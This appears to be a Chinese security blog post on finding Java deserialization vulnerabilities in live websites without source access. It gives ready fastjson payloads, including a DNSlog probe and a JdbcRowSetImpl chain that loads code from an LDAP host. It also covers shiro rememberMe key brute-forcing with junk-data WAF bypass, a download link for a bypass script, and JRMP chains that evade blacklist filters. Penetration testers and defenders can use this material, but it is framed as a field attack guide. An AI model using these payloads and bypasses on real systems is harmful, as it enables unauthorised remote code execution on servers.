java反序列化分为原生反序列化和组件反序列化,组件反序列化有大家熟知的fastjson反序列化,shiro反序列化漏洞等,这篇文章分享一下自己的反序列化漏洞黑盒挖掘思路。
以在实战中挖到的反序列化漏洞举例,网站中反序列化漏洞数量大概为:fastjson>shiro>=jdbc>XStream>原生反序列化
一、fastjson反序列化漏洞
1.1判断链子
fastjson反序列化漏洞主要看数据包是否以json传输,如果是json传输,就可以尝试打一下payload。 可以先删除请求数据包的 } ,查看报错,报错如果是这样的,基本就可以判断使用了fastjson组件
直接盲打可以打这个payload,如果存在fastjson1.2.24-1.2.83,就会收到dnslog请求
{"zero":{"@type":"java.net.Inet4Address","val":"xxx"}}
判断fastjson版本
{"@type":"java.lang.AutoCloseable"a["test":1]
如果版本在1.2.47以下,出网,可以打这条通杀链子
{"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}}
如果服务器不出网,无法收到dnslog请求,可以直接跑@type的类,查看报错回显长度判断是否使用了fastjson,在之前写的文章也有提及
如果存在这几个类,可以直接打不出网利用链
com.mchange.v2.c3p0.WrapperConnectionPoolDataSourceorg.apache.tomcat.dbcp.dbcp.BasicDataSourceorg.apache.tomcat.dbcp.dbcp2.BasicDataSourceorg.apache.ibatis.datasource.unpooled.UnpooledDataSource
这些链子可以用Java Chains工具生成。c3p0二次反序列化链,因为是fastjson反序列化漏洞,那就肯定会有fastjson链。
c3p0二次反序列化链:
二、shiro反序列化漏洞
2.1waf绕过:
请求数据包中存在Cookie: rememberMe就可以尝试爆破一下密钥 如果遇到waf,可以尝试在remember添加脏数据绕过
在remember插入@$`_-等符号,不影响链子使用
我写了一个脚本给remember添加脏数据绕过waf爆破密钥
https://pan.baidu.com/s/1IqJdYSJpi1lpJxyeRFgkEw?pwd=y7wd 提取码: y7wd
也可以把数据包改成post,添加脏数据绕过,例如我这里添加了test参数,塞入4mb脏数据
2.2有key无链:
遇到有key无链的情况,一般来说shiro基本会有cb链的,因为shiro组件默认就会导入cb链的依赖,如果代码存在一些过滤,可以尝试打其他链子。 也可以用刚才的Java Chains工具,请求dnslog就可以判断有什么链子。之前写的文章也有提及。
不出网可以通过延时来判断是否存在这条链子
有key无链也可以尝试JRMP二次反序列化链。如果过滤器只是简单地检查序列化数据里有没有"java.lang.Runtime"或"ProcessBuilder"这种危险类名,那么JRMP二次反序列化就能绕过。(这里的复现图以原生反序列化举例)
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)